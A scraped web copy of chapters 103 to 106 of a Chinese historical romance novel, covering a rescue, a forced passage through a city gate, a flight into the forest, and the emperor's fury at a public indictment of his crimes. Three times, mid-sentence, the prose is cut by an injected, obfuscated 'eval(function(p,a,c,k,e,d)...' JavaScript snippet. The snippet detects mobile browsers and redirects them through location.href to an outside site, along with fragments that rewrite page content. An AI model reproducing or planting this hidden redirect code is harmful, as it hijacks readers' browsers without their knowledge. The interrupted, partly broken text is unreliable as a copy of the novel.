肌肉紧绷到了极致,像是一只正在捕猎的饿狼,他知道机会稍纵即逝,他必须毫不犹豫地冲上去。 看到少女不动声色拔了刀鞘,他与少女一起动作,在少女旋身动刀的时候,他急速朝着两人扑出。 在少女挣脱桎梏的时候,他伸出左手将人往自己身后揽,右手则横剑于外肘,向着冯硕的喉部递出,再往左狠命一划。 他的动作果决利落,剑势强劲凌厉,这一击不止为助心爱的少女彻底脱困,还为从少时陪伴左右的侍卫星渊,为那扮作他引开追兵,最后坠崖的死士照胆,也为自己一年多前在那一夜所受的屈辱与伤害。 鲜血如朱墨般喷出,在空中挥洒出一片刺目的红色,接着头颅滚落,在地上发出沉闷的“咚”的一声。 谢烜赫抱着黎书意,没让她看这血腥的场面。 103. 强闯 统领人头落地,禁军顿时失了主心骨,一时间他们像是被施了定身术一般,呆愣地站在原地。 “快!”在众人失神的当口,黎长策朝谢烜赫洪声道,“领着你的人带上她先走!” 谢烜赫闻声点头。 此时,黎书意已渐渐从余惊中平复,她抑制住自己的好奇心,没有转头去看冯硕的死状,将沾了血的匕首收入刀鞘,她被谢烜赫拉着手往马厩外侧走。 催促声不仅提醒了院里的侍卫,也促使禁军从失去头领的惊慌中回神,犹豫了片刹,他们重又举戈再战。 黎长策反应迅速,他与绿沉带领着将军府一众侍卫迎战,他们奋力掩杀,为伙伴们创造逃脱的机会。 尽管禁军继续投入了战斗,但士气已经严重受损,战局最终呈现出一边倒的状况。 这期间,祈安阁的暗卫迅速从马厩牵出足量的马匹。 黎书意定定站着,她视线紧随正带着手下拼命掩杀的兄长,眼神中满是忧虑和不舍。 黎长策在激烈的拼杀中偶然瞥见了小妹担忧的目光,他一边挥舞着利剑,敏捷地制服敌人,一边大声安慰:“小妹不必担心,为兄一会便会追上你们的!” 他的声音坚定有力,出剑的动作利落果决,见兄长如此英勇,黎书意心中的担忧稍稍减轻。 留恋地望了兄长一眼,她回身面对已经坐上马背的谢烜赫,然后握住他递过来的手,借着拉力将脚尖踏上马镫,同时谢烜赫的另一只胳膊从她腰下环过,携着她坐到了马背上。 兰亭紧跟着也上了纯钧的马,因为黎长策与府中侍卫的掩护,他们并未受到太大的干扰。 多耽搁一刻,便少一分离开的机会,是以在一部分人安稳上马以后,谢烜赫便催马领着队伍冲出了门口。 天已经黑了,巷子被夜色所吞噬,路上并没有行人,他们骑着马向前狂奔,急促而有力的蹄声踏破了夜的宁静。 马匹奔跑的速度非常快,黎书意在马背上颠簸着,熟悉的街景从她眼前一闪而过,背后追兵紧追不舍,呼喊和蹄声时紧时松,如同雷鸣震慑心弦。 很快,他们行到了路的尽头,谢烜赫找准时机紧拉缰绳,同时用膝盖和脚踝向内侧施力,操控着蹑荆拐进了左边的巷子。 这条巷子比刚才的那条要窄上许多,仅可一马通行,不过跑了数十步,又遇一个转弯,谢烜赫再度驱马拐道而行。 他们就这么依靠着走僻静小巷,既分散了追兵的兵力,也避开了百姓的耳目。 平常出行,黎书意都是乘坐马车的,也只有秋猎之际在猎场骑过马,是以她的马术并不精,也不太适应马上颠簸的感觉,此刻她感觉自己的心肺快要从口中蹦出。 七弯八拐穿行了许久,又一条深巷行到尽头,随着骏马冲出了巷口,眼前的景物变得熟悉。 宽敞的街道,道边的十里楼,以及视野尽头高大巍峨的城墙……这所有的一切都在告诉她,此时他们已经在进出城门的官道上了。 这也意味着强闯城门的时候到了,她强打起十二万分的精神来。 这条街并非主要集市,此时又值夜晚,路上的行人不算太多,大都是出城或进城的普通百姓。 疾驰的马群让路人措手不及,大家慌乱地向两边退让,为此撞倒了不少摊贩。 谢烜赫马术精湛,尽管惊扰了路人,但并未造成人身损害,在一片鸡飞狗跳中,他们朝着城门口逼近。 作为一城的壁垒,城门向来守卫严密,况乎是天子脚下,那更是固若金汤。 所以,在他们距离大门还有十来丈距离时,门口的守卫就已经紧急合上了大门,并有一队人马在内侧排开,持戈以待。 黎书意的心扑通扑通地狂跳,她死死盯着咫尺之遥的城门。 “低头,待在我怀里!”头顶传来叮咛,与声音一起靠过来的是后背传来的温度。 她依言迅速低下头,整个人缩在身后之人的怀里,抵着坚硬的胸膛,感受着另一颗心脏的跳动。 不多时,刀枪相击的声音在耳畔炸开,随着越来越多的守卫加入,四下淹没在“钉钉铛铛”声之中。 将军府里的马匹都是上过战场的,算是训练有素,并没有受到太大的惊吓,忠诚地驮着主人披荆斩棘。 蹑荆更是宝马良驹,身姿矫健,极有灵性,在它前冲后突之间,黎书意趁乱抬眼四瞟,此时街道两旁的那些店铺正在紧急闭门,路上已经没了行人。 “咻咻咻!” 忽然,十几只羽箭自高处俯冲而下,顷刻间,身边的人便倒了七八个,见落马的皆是守门侍卫,黎书意猜测这隐在暗处的应该是祈安阁的暗卫。 不一会,守卫们便被打得毫无招架之力,阵型已经完全溃散,门户防守空虚,蹑荆载着他们一步步向门口挺进,最终马的前蹄成功跃过了门槛。 “咔嚓咔嚓!”背后响起盔甲摩擦和军靴踏地的声音,想来是新一批补充进来守卫,他们还远未成功逃离。 就在这时,黎书意又听见了渐近的马蹄声,疑心是追兵赶上来了,她赶忙偏转过头去看。 只见一行人逆着青白月色在街上疾驰,辨出最前面人是兄长,她露出一丝放松的笑容,尽管在他们之后还跟着不少追兵。 谢烜赫本想将黎书意交给纯钧,让他带着两位姑娘先行离开,然后再带人原路返回,去助被绊住的黎长策。 眼下见人来了,且后面还有追兵尾随,想着贸然将马上的少女放下去反而会令她深陷危险,他不敢再赌。 “躲好!”利落地说完这句话,他手一拉僵绳双腿一夹马腹,重新回到战局之中,助黎长策脱困。 方才回头时,黎书意看见了追兵和城门口新涌来的增援,城门校尉也在其中,情况要比他们突破城门口时严峻得多,明白其中的危险性,她听话地缩在谢烜赫怀里,努力不成为他的负累。 身下的马时而前进,时而后退,时而向左,时而向右,她被搞得晕头转向。 好容易没那么颠簸了,结果一睁开眼,瞧见对方的一个骑兵正悄然靠近,她赶忙转头去看谢烜赫,见他还在对付面前的三人,并未察觉到背后的危险。 黎书意的心脏狂跳,几乎要破膛而出,她纠结着自己该不该提醒,眼下这情况谢烜赫根本分身乏术,若喊了,正在对打的敌人定会趁机偷袭,若不喊,他必然会被暗箭所伤。 犹豫间,那小卒已经抬起手中短刀,他眼里闪烁着狡黠与狠决,就快要出手。 咽了一口口水,黎书意做了决定,她将右手伸到左手袖口,握住藏在袖子里的匕首的刀柄。 那小卒根本没把她放在眼里,目光直直注视着谢烜赫,寻找着下手的时机,趁着他不注意,黎书意飞快抽出匕首,倾身奋力往他脖颈划去。 “呃!”小卒一时不察,最终被她得手了,瞪着不可置信 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17545762|204135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的眼睛,惨叫着从马上跌落。 谢烜赫听见异响,快速解决完最后一个敌人,然后急转过头,这一转头,他一眼便看到了黎书意手上带着鲜血的匕首,还有她颤栗不止的身体,以及倒在地上扭动的小卒…… 他一时愣住了,在意识到刚刚都发生了什么时,他又是后怕又是惊喜,抬手揽过心有余悸的人,温声安抚道:“没事了。” 说毕,他催马向前几步,用长枪又挑了两个人,再放眼一扫战局,见黎长策已经杀出来了,便没再继续与敌军纠缠。 他们旨在逃亡不在杀光追兵,因此只需要把挡路的人解决掉就好,如今黎长策也基本脱困了,他打马前行,一时便冲出城门百步远。 城门处,城门校尉持戈挡在身前,警告般问自己的对手:“黎少将军当真要一错再错?” “哼!”闻言,黎长策冷哼一声道,“恐怕我束手就只有死路一条。” 不欲纠缠,言罢他加快了攻击的速度,长枪不断挥舞戳刺,不过几个回合,城门校尉己无招架之力。 接着,他瞅准时机,一脚踢开城门校尉手中兵器,趁着这个当口,快速脱离战局,再一夹马腹朝前奔去。 身边的人都是他的亲随,他们默契十足,立刻拦在追兵面前继续掩杀。 等少将军的身影离得远了,侍卫们也跟着一个一个脱战,调转马身开始奔逃。 孟章城的城外是一片平坦辽阔的旷野,清冷的月色之下,他们在黑暗中驰骋,队伍似排开的雁阵,渡过了旷野,他们踏入了更远处的密林。 四周漆黑一片,月光被稠密的枝叶遮挡,只筛下些微斑驳的冷光,路旁的树丛模糊成团团黑影,伸展的枝桠如怪异的手臂,极力阻拦着他们前行。 进入密林以后,马匹行进的速度稍微减缓,但是也不是很多,尽管逃离了孟章城,然而他们还远没有安全,别说那稀稀拉拉的追兵还衔在身后,就是景帝也不会善罢甘休的,这条逃亡之路,现在才真正开始。 黎书意扫了一眼追上来的兄长,以及跟随在他身后的侍卫们,缓缓吐出一口浊气,绷紧的身体也随之松弛下来,还好都没出事。 一想到这,她什么都不怕了,只要他们都还在,哪怕刀山火海她也愿意闯,她转回头,心中信心大增。 “可感觉难受?”头顶传来谢烜赫的问询,他说话时的呼吸有点重,鼻息喷洒在她头上,热热的,痒痒的。 知道他问的是她骑马的感受,她的确不舒服,感觉身体都快散架了,但是她深知这是不可避免的,于是摇摇头道:“我还好。” 空气中弥漫着泥土与树叶的气息,□□马片刻不歇,她看着浓重夜色下的树木在身侧不断倒退。 这时,头顶处谢烜赫又说话了,口吻较刚才松弛了许多:“会防身术,身上藏着匕首,敢动手伤敌,你还有什么是我不知道的?” 闻言,黎书意回想起自己被胁迫时与他的配合,还有她方才刺伤追兵时谢烜赫的惊讶,心里忍不住有点小骄傲,她扬唇笑道:“我好歹也是将门之女!” 孟章城中,众人皆知将军府的一双儿女,大儿子擅武,小女儿擅文,虽然黎书意的确不好舞刀弄枪,但到底耳濡目染,再说,这当中是有原由的。 为了缓解出逃的压抑气氛,她径自诉说起来:“其实,我是因为十二岁那年差点在街上被歹人掳走,所以后来有向父亲讨教过几招防身术。” 104. 遇袭 原来是那时候吗? 黎书意口中的差点被歹人掳走之事谢烜赫是知道的,虽然彼时他人还在陵光,不过得益于黎长策,他知道了个大概。 在给他的来信中,黎长策说她的妹妹贪玩,避过了丫鬟婆子的陪同,一人在街上闲逛,因长得粉雕玉琢,身边又无人跟着,便被人牙子盯上了。 那个人牙子趁着无人注意,强行将她拖到小巷里,企图把她敲晕了带走,好在被过路人发现,最终给救下了。 而那个过路人不是别人,正好是他的堂兄,谢煜然。 阅信之时,他只是责怪黎书意胆大,其他的并未多想。 直到后来,到孟章以后,他才知道,在这一救之后,他的堂兄对豆蔻年华的少女一见倾心,常常借机去将军府,而女孩禁不住痴缠,最后与他的堂兄走到了一起。 心里认定的女孩竟然和自己的堂兄在一起了,他满怀希冀却被现实迎头痛击,然而郎有情妾有意,且她与他不过只是有口头婚约罢了,纵使不甘,他只能将苦水往肚子里咽。 每当午夜梦回,每当看见他们有说有笑,他就会想,要是当时救她的人是他就好了,因此,这事他刻骨铭心。 黎书意正等着谢烜赫说话,却久久没听见动静,便主动开口问:“怎么突然不说话了?” 飘远的思绪被拽回来了,感受到怀中的温软,谢烜赫因为记忆所带来的痛楚渐渐消散了,紧接着他回道:“没什么,就是想起来你兄长曾经在与我往来的信中提过此事。” “他跟你说了这事?”黎书意惊呼出声。 她知道兄长与谢烜赫长年通信,有时写信她还在旁边看着,她看到的是他们讨论诗书礼乐射,没想到竟然还曾提到过她,那岂不是谢烜赫知道了不少关于她的糗事。 心里头有些在意,遂试探地问:“他应该没和你说什么不该说的吧?” 谢烜赫轻笑一声,答说:“就你兄长疼你那样,他哪里会。” 少时初见黎书意,谢烜赫便心怀好感,但他觉得自己情根深重,当中少不了黎长策的功劳。 那些往来的通信中,他们聊诗词歌赋,聊天文地理,也聊生活里的寻常之事,黎长策聊这些时总脱不开他的妹妹。 这次写小妹房里的衣橱和首饰匣都爆满了,她还是乐此不疲地买买买;下次写小妹虽然年纪尚小,已经有不少人家派人上门议亲了,让他有点警惕性;再下次写有名士夸赞小妹诗文写得好,令当兄长的他自愧不如,有时明着是贬损,暗着是夸赞。 有个如此聪明漂亮的妹妹,也难怪他得瑟,谢烜赫倒不觉得厌烦,因为想知道关于黎书意的事情,所以他从未阻止过。 这么些年,谢烜赫本以为自己足够了解怀里之人了,没想到临了还是会有惊喜,思及此,他有些好奇地问:“在将军府的这一年里,我从未看你露手过?” 听见询问,黎书意拨开近旁的树枝,叹息一声道:“这一年我挂心着将军府的安危,哪里有闲情逸致啊……” 本就谈不上喜欢,心里头事情又多,强身健体这类事自然被她抛到九霄云外了。 天越来越黑了,山路也越发曲折,忽然一声马的长嘶打破寂静长夜,惊飞了栖息枝头的鸦鹊。 黎书意闻声转头,看见一匹前腿跪在地上的马匹,而坐骑上的人早就跌落在地。 那马大张着鼻孔,发出呼哧呼哧的粗气,即便有人拉着缰绳催促,也依旧不肯挪动半步,俨然已经累到了极限。 再移目四顾,何止是它呢,其余马匹虽然还未失蹄,但明显也都累极,鼻息声交织成一片。 “先休息一刻钟吧。”谢烜赫提议。 黎长策的视线扫过奔袭已久的众人,最终点头了。 于是,所有人下马,坐在地上就地修整。 尽管此地距离孟章已经很远了,但他们仍旧不敢掉以轻心,即便是休息,也十分警惕,怕给人寻到踪迹,甚至连火都不敢燃,大家照看好各自的坐骑,给马喂草喂水。 将黎书意抱下马,谢烜赫牵着蹑荆往右边的水塘去了。 从马上下来,黎书意就近寻了块大石坐下,奔跑的虽是马儿,可她这个坐的人也累得够呛。 喘息间,兰亭走了过来,将一只水壶和一包干粮递来,“二姑娘用些吧。” 黎书意只接了水壶,这一路她心肺都快颠出来了,不吐就算好的了,怎会吃得下东西。 饮了几口水,燥热到几乎要生烟的喉咙得到了滋润,起伏的胸脯慢慢变得平缓。 放空的时候,兄长走过来在她旁边坐下,关切地问:“可还受得住?” “我哪有这么娇气啊。”她不满地嘟嘴。 黎长策见状笑了,点头赞扬说:“是,我们婠婠今日很勇敢。” 兄妹俩正苦中作乐,忽然从远处传来刀剑声,听方向,正是谢烜赫刚才牵马离开的地方,黎书意的脸色倏地一变。 将手按在身侧的佩剑上,黎长策缓缓站起身来,低声吩咐绿沉照顾好两位姑娘,然后他点了几名侍卫,便领着人转头扎进了黑暗之中。 黎书意待在原地,刀剑相击的声音,拳脚打到皮肉上的声音,受伤后痛苦的呻吟声音……各种声音从不远处砸过来,她如坐针毡,最后难耐地站起身来,手紧紧捏着兰亭的胳膊,也不知对方有多少人,那头情况具体怎么样。 过了许久,打斗声消失了,又过了一会,听到有人在草地里穿行时的窸窸窣窣声在逐渐靠近。 绿沉警觉地提剑挡在两位姑娘身前,做好防御准备。 黎书意的心砰砰直跳,在心弦即将绷断之时,从黑暗中走出一道人影。 是谢烜赫,他牵着蹑荆朝他们走来。 见是他,黎书意那颗高悬的心终于回归原位。 谢烜赫走近受惊的人,告知道:“人已经都处理了,你兄长随后就来。” 不多时,黎长策带着部下回来了。 追兵已经赶上来了,这个地方他们不能再待,好在此时也修整得差不多了。 抬眼扫视着聚拢的队伍,黎长策转头向谢烜赫提议:“像这样跑,被追上只是时间问题,不如我们分头行动,你带着她和祈安阁的暗卫一路,我领着府中侍卫另一路。” 分头行动!黎书意闻言呼吸一窒,她不愿分离。 看出了小妹的担忧,黎长策宽慰道:“傻丫头,兄长会没事的。” 知道这么做是明智的,黎书意虽然抗拒,但没有开口反驳。 紧接着,黎长策与谢烜赫就此事商量起来,两人约定在乌金宿县再碰面。 他们目前的行动轨迹往南,给出追兵逃亡的终点是执明的错觉,而实际上,他们逃亡的最终目的地是陵光。 确定完联络方式和汇合地点以后,黎长策朝自家小妹看过去,然后大掌拍在谢烜赫肩上,郑重嘱托道:“我妹妹就拜托你了。” “你放心,我会照顾好她的。”谢烜赫承诺。 黎书意走近兄长,抬头望着他,不舍地叮咛道:“兄长一路小心。” “放心吧。”黎长策揉了揉小妹的头,“战场上可比这艰苦多了。” 说完,他示意府中侍卫行动,旋即转身踏上马背,坐好以后,他朝着站在地上的两人看去,留下一句“宿县见”,便 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17545763|204135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 领着人驾马而去。 黎书意定定立在原处,看着将军府的人马消失在浓稠的夜色里,心头空落落的。 …… 清晨,朝阳被浓云遮住,天上黑沉沉一片,似乎就要压下来,整个皇都弥漫在压抑诡秘的氛围之中。 昨日入夜,被圈禁的将军府突然传出骚乱,紧接着少将军黎长策带领府中侍卫在巷子里横冲直撞,最后他们更是与城门守卫大打出手,逃出城去了。 半夜,禁军一批接一批地出动,声音像浪潮在街道上奔涌,一整个晚上就没安宁过,就像一年以前的上元夜。 因此,到了早晨,关于将军府上一双儿女抗旨而逃的事就传遍了全城,在这地方,高门大户里诸如升迁、贬谪和嫁娶之事尚且是百姓津津乐道的话题,更遑论是发生在将军府里头的事呢。 将军府是什么地方,那是当朝大将军的府邸,那出逃的一双儿女,长兄年少有为,妹妹文采斐然,其中妹妹更是近来热议的《陈冤录》的著者,集合了这些,讨论程度简直是全民级别的。 鹤阳阁作为文人墨客的流连之地,大家不仅在这里品谈诗书,也在这里议论朝政,是以,谈话内容自比别处说得更多更深,也更为大胆。 虽说阁楼一直宾客盈门,但是却不若今日这般,才早上就人满为患了,此刻,那些有抱负有学识有见地的文士们齐聚一堂。 二楼,阮玎瑶凭栏往下看,从今晨得知将军府发生的事后,她便心有不安,急于了解更多的内情。 “今日应当是不需要我们了。”赵清商走了过来。 她闻声回头,想说些什么,却又不知该如何开口。 赵清商安抚地一笑,“虽然不知道具体都发生了些什么,但照目前的情况来看,她应该还算安全,你不必担忧。” 阮玎瑶有被安慰到,想到那声名赫赫的黎少将军,还有那常伴在黎二姑娘左右的英武侍卫,她想黎二姑娘的确不会有事。 可是,抗旨不遵,打伤朝臣,强闯城门,每一件单拎出来就足够要人命的了,这一连串下来,她又如何不忧心。 大堂内,客人们或坐或立,三五成群,在茶水、瓜子、果品相继端上来以后,那些儒生终于克制不住地交谈起来。 “你们说……这当中可有内情?”不知是谁挑起了话头。 有人接话道:“想来是有的,那江臣是什么人,这城中还有不知道的吗?” “是啊,”又一人加入讨论,“我总觉得圣上在这件事上处理得过重了些,之前都已经将书焚毁了,眼下查出身份后,警示一番也就够了,怎么还派这样一个酷吏来督查此事呢……” “确实,”一白面书生附和,“虽说以话本为载体诉说冤情多少有左右舆论的嫌疑,但实在不至于圈禁清查,毕竟是为了替昭王平反,情有可原,况乎梁甫又作恶多端!” “自己的一双儿女抗旨出逃,也不知黎大将军得知后该如何自处……”有人哀叹。 堂内一时陷入寂静,大家都是文人,心思玲珑,脑袋里想的当然不止于嘴上谈的这些。 苏或雍坐在其间,自始自终他一句话也没说,因比其他人知道的要多,他的心境也自与旁人不同,更多的是悲哀。 一盏茶饮尽,他没有再多待,径自起身了,走至过道,一粉红佳人拦在他跟前,仰着头问他:“先生可知道些什么?” 看着女子愁云锁眉的模样,他喉头微一划动,很想将积压在心底的秘密说出来,最后到底还是忍住了,只道:“日后你会知道的。” 纸是包不住火的,极力想掩藏的秘密总有一天会以更加惨烈的方式暴露的。 105. 问罪 毕氏印刷铺,从昨夜起,印刷铺外便贴了关张的告示。 然而大门虽紧闭着,里面却是一派辛苦劳作的景象,不大的操作间里,十来个工人坐在书案前奋笔疾书,正誊抄着什么。 毕掌柜站在一旁,面前的墙根处已经堆起了同他一般高的誊抄本,他静静看着最上面的那张纸。 这个夜晚,这上面的文字他已经看了无数遍,也写了无数遍,早就滚瓜烂熟,可他依旧震撼不已。 这上面是少主人的泣血之词,是昭王府对皇帝构陷弑亲的讨伐,是将军府对皇帝卸磨杀驴的控诉,向一国之君问罪,简直是冒天下之大不韪。 然而,一想起枉死在构陷案里的亲人,他眼里便迸射出仇恨的火花,心里开始期待坐在龙椅上的尊贵男人得知事情在人前败露时不知道会露出怎样的表情。 …… 天尚未大亮,乌蓝色的空中挂着几颗残星,晓雾也还未消散,四周朦朦胧胧的,如罩了一层银灰色轻纱,一队人马在河边停下来歇脚。 黎书意坐在铺满碎石的河滨上,她手里正捏着一块干粮低头啃着,晨风轻轻吹过,将潮气和寒意往脸上和身上送。 暗卫们把马牵到水里,马儿遇水一头扎进去,然后发出愉悦的呼噜声。 干粮并不好吃,入口干而无味,黎书意细细咀嚼着,费力地吃完一块,她双手环抱着腿,看着波光粼粼的河面发呆。 一天过去了,这一天他们在荒僻的山野里艰难地穿行,掩盖踪迹的同时,又做了些迷惑追兵的布置,总算没有被追上。 不知道兄长那边怎么样,还有父亲呢,此时他又在哪里?她百愁在心,难以安宁。 “摘的野果,味道还行,尝尝?”谢烜赫走过来在她旁边坐下。 她低头看着用帕子包着的橘红色小果子,在这种地方弄吃食可不容易,大约是发现她吃不下干粮,特意为她寻来的。 想到这,她心里涌上一股暖流,伸手拿起一颗略微擦了一下,她放入嘴中咬开,果子酸中带甜,口感软糯,吃够了那寡淡无味、干硬难嚼的干粮,这野果尝起来倒颇有些滋味。 用了一小半,她分出部分给兰亭,剩下的则让谢烜赫自己吃了。 东方天空已经露出了鸭蛋青色,曙光将透,对于逃亡的人来说,在视野开阔的平地上不是什么好的选择,尤其是白天,所以趁着太阳还未露脸之前,他们又躲进了丛林之中。 …… 孟章,昨日城中的大街小巷里,处处都在议论黎大将军的一双儿女抗旨逃亡的事,他们有的不解,有的唏嘘,大家做出了种种猜测。 而今日,像是被人封住了口一般,没有人敢提哪怕一句话,从晨起,这座西景最繁华的都城,变得安静,变得压抑。 这一切皆因今晨大家在日出而作时,他们在自家门口发现了一张纸,它们或是被夹在门缝里,或是用石块压在台阶上,等待着主人拾取。 一开始,大家都没当回事,带着一丝好奇心拿起纸张,等看了上面的内容,他们变得精神了,紧随而来的又是惊骇,最后他们不知所措地揣着纸张跑回家中。 仙名山草庐内,由于文心书局还未能开张,苏或雍的日子过得极为清闲,每天他都是睡到自然醒。 刚穿好衣服,小童儿着急忙慌地跑进来,说话的声音都变了调:“先生,小的在门缝里发现了这个!” 苏或雍看向小童儿的手,见他手里拿着一张纸,表情惊恐得像是拿了一块红烙铁,急于脱手。 他蹙眉不解,系好了衣带,伸手抄过纸张,甩了两下阅看起来。 「吾,西景昭王之子谢烜赫也。身为宗室,吾本当竭诚辅佐陛下,协理国政,然陛下之所为,实不堪为一国之君,故吾斗胆修此书,以问罪陛下,且昭告天下。 陛下昏庸无道,耽于弄权之术,任用奸佞,致使朝纲紊乱,民不聊生。更因猜忌量小,以阴谋诡计构陷手足,残害至亲,其手辣程度令人发指;又刻薄寡恩,打压忠贤之士,大将军率将士浴血疆场,屡立战功,保家卫国,然不得陛下应有之敬重。将军之女,心怀忠义,写书陈冤,助铲除奸佞,反被冠以扰乱民心之罪。此等不公之举,何以服众?……」 苏或雍年少成名,曾写过不少狂妄之言,然而没有一封能与之相比,也难怪小童儿会那般惊慌了。 “你先下去吧。”他抬眼对小童儿道。 待小童儿掩上门走了,苏或雍的目光回转到纸上,这便是他们最后的反抗吧,对抗不了至高皇权,那么就从平民百姓入手,即便深宫里的那位再怎么独断专行,也难堵悠悠众口。 苏或雍不知道这问罪书到底投递了多少份,但想来数量绝对不会小,毕竟连他这个深居乡野的人都收到了。 这份问罪书可要比《陈冤录》带来的冲击大太多了,把一个地位至尊的人的真面目揭开,其后果可想而知。 然而,他竟然没有半分担忧,有的是快意、是释怀,这腐朽的王朝早就需要一次洗礼了。 …… 皇宫。 “哼!”阅完纸上内容,景帝将其撕得粉碎,仍觉得不解气,他扫落了案上的笔墨纸砚,双手“啪”一下撑在案面上,咬牙切齿道,“他们果然知道了!” 到底是如何知道的?景帝冥思苦索,突然他眸光一闪,想起了梁甫平静接受死亡的反常之处,惟中啊,他在心里恨恨道:没想到你死了还要摆朕一道! 他恼恨地收拢五指,力道大到在桌面上留下了清晰的指甲划痕,忽地他念头转到别处,心头猛地一跳,于是抬眼问内候官首领燕大:“都有哪些人看了这东西? 燕大咽了咽唾沫,回答说:“据下属所报,城里每家每户都有投放。” 每家每户,景帝额头青筋跳动,压抑着即将喷薄而出的怒火,他问:“可查到了幕后之人?” 燕大小心翼翼道:“纸张用的是最寻常的纸,内容是人为抄写的,字迹并不统一,调查出来还需要一些时间。” “查,给朕查,查出来然后全部处死!”景帝嘶吼着。 “是。”燕大领命退下。 “谢烜赫……”景帝嚼齿穿龈地念着这个名字,心里的怒气像火球一样在胸膛里乱滚。 赵让自皇帝小时便跟在身边伺候了,最熟悉皇帝的性子,知道这是位睚眦必报、疑心病重、夜郎自大的主,这些年因为各种原因,他害了不知多少无辜的性命,这昭王案便是在自己的见证下发生的。 当然,不管对方如何正义,他都不会指责自己的主子,因为他很清楚自己是站在哪边的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17545764|204135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 看了一眼天色,又瞅了眼还在发气的皇帝,他大着胆子走上前去,拾起地上的砚台,提醒道:“皇上,上朝的时辰到了。” 上朝,景帝闻声心跳一滞,半边头皮开始发麻,这两个字此刻前所未有地令他抗拒,一想到他的臣子们已经知道了这桩密事,他就感到无法面对。 很快,他说服了自己,他是君,他们是臣,君要臣死臣不得不死,他何苦畏缩,整理好情绪,他漫不经心道:“唤人来替我更衣吧!” “是。”赵让应声出门,唤了宫人进来伺候梳洗。 …… 钟鼓声响,随着唱喝声,百官垂首静立,他们恭顺地迎接侍奉的君王步入金銮殿内。 这是一个庄严肃穆的时刻,然而今日众臣的表情皆透着古怪,每个人都忍不住偷眼打量着身穿皇袍徐徐前行的九五至尊,接着目光又划到同僚脸上,观察起他们的神色。 感受到投射在自己身上的探究目光,景帝压抑着自己的愤怒,他视若无睹,继续朝前走。 抬脚踏上高阶,他一步步走向龙椅,最后再一扫衣袂,坐到龙椅之上,这个位置他坐了二十载,他绝不允许有人践踏他的权威。 “万岁万岁万万岁!”殿中传来百官的高呼。 景帝目光扫视下方,端着帝王该有的沉稳,问羽林军统帅朱明阳:“人呢,还未抓到?” “追到当路跟丢了。” “哼!”闻言,景帝从鼻子里发出不满的哼声,“一群饭桶,连几个乳臭未干的小娃娃都抓不住,朕要你有何用!” “回陛下,”朱明阳连忙找补道,“下官已经下令通缉,相信不日便可以将逆党全数抓获!” 尽管恨不得将逆党挫骨扬灰,但景帝并不十分担心,不足百来人而已,再怎么躲躲藏藏,也是撑不了多久的,他在意的其实是手握军权的黎横天。 沉吟了片刻,他开口问:“黎卿那边的情况如何?” 此话一出,朝堂顿时寂然无声。 景帝在心中懊恼,斥自己不该沉不住气,暴露了自己的恐惧,让群臣看了笑话。 少顷,兵部侍郎尤祐拱手上报道:“回陛下,三日前便失去了行踪。” 闻言,景帝心头咯噔一跳。 “他这莫不是想造反?” “这似乎有可能。” …… 大殿之中,朝臣们已经窃窃私语起来,他听得头疼,“朕记得黎横天的岳家在客郡?” 嘈杂的议论声随话音一同消弭,众臣闻言面面相觑,洞悉了陛下的意图,他想连坐。 违抗圣旨、打伤官员、强闯城门,这一桩桩一件件,确实够得上如此处置了,可是一旦代入过度问责将军府的前提,就有些不够了。 且黎大将军乃西景的中流砥柱,在百姓当中威望极高,这么做只会让难以控制的局面变得愈发混乱,再加上今早那慷慨陈词的问罪书,理由就更不正当了。 在漫长到几乎令人窒息般的静默后,有一人出班,他持笏板谏道:“陛下,微臣认为此时应当安抚。” “哦?”听见有这话,景帝眼中罩上了一层冷意,他盯着说出此话的林文正道,“抗旨不遵,硬闯城门,打伤无数官差,这本就是诛九族的大罪,为何不可?” 106. 通缉 “陛下,万万不可呀!”林文正说着跪了下来,“那孟氏不过就是一个深居家中的六旬老妇,与此事无半分牵扯,若是伤了她,让黎民百姓如何看待?” 顿了顿,他又追加道:“再说,弘毅书院广收门生,姚家在客郡声名极好,若是处理不当,恐会激起民愤啊!” 景帝心中气结,这话虽未点透,但分明是在提醒他,他的恶行已经人尽皆知了,当下应当放宽胸怀,挽回人心。 这一刻,他对仗义直言的谏臣前所未有的痛恨,微眯着双眼,他出声警告道:“林卿,朕记得你的妻子和黎横天的亡妻关系亲近,你的女儿和那叛逃的黎书意更是交往甚密,你说的这话可有私心?” 林文正跪在地上,闻言身体猛地一颤,皇帝这话的意思分明是在说他是为了私交而求情,但是他此言并非是为了两家的情谊,而是为了江山社稷考虑。 默然片刻,他朝地上重重磕了一头,仍然保留原来的谏言,铿锵有力道:“恳请陛下三思。” 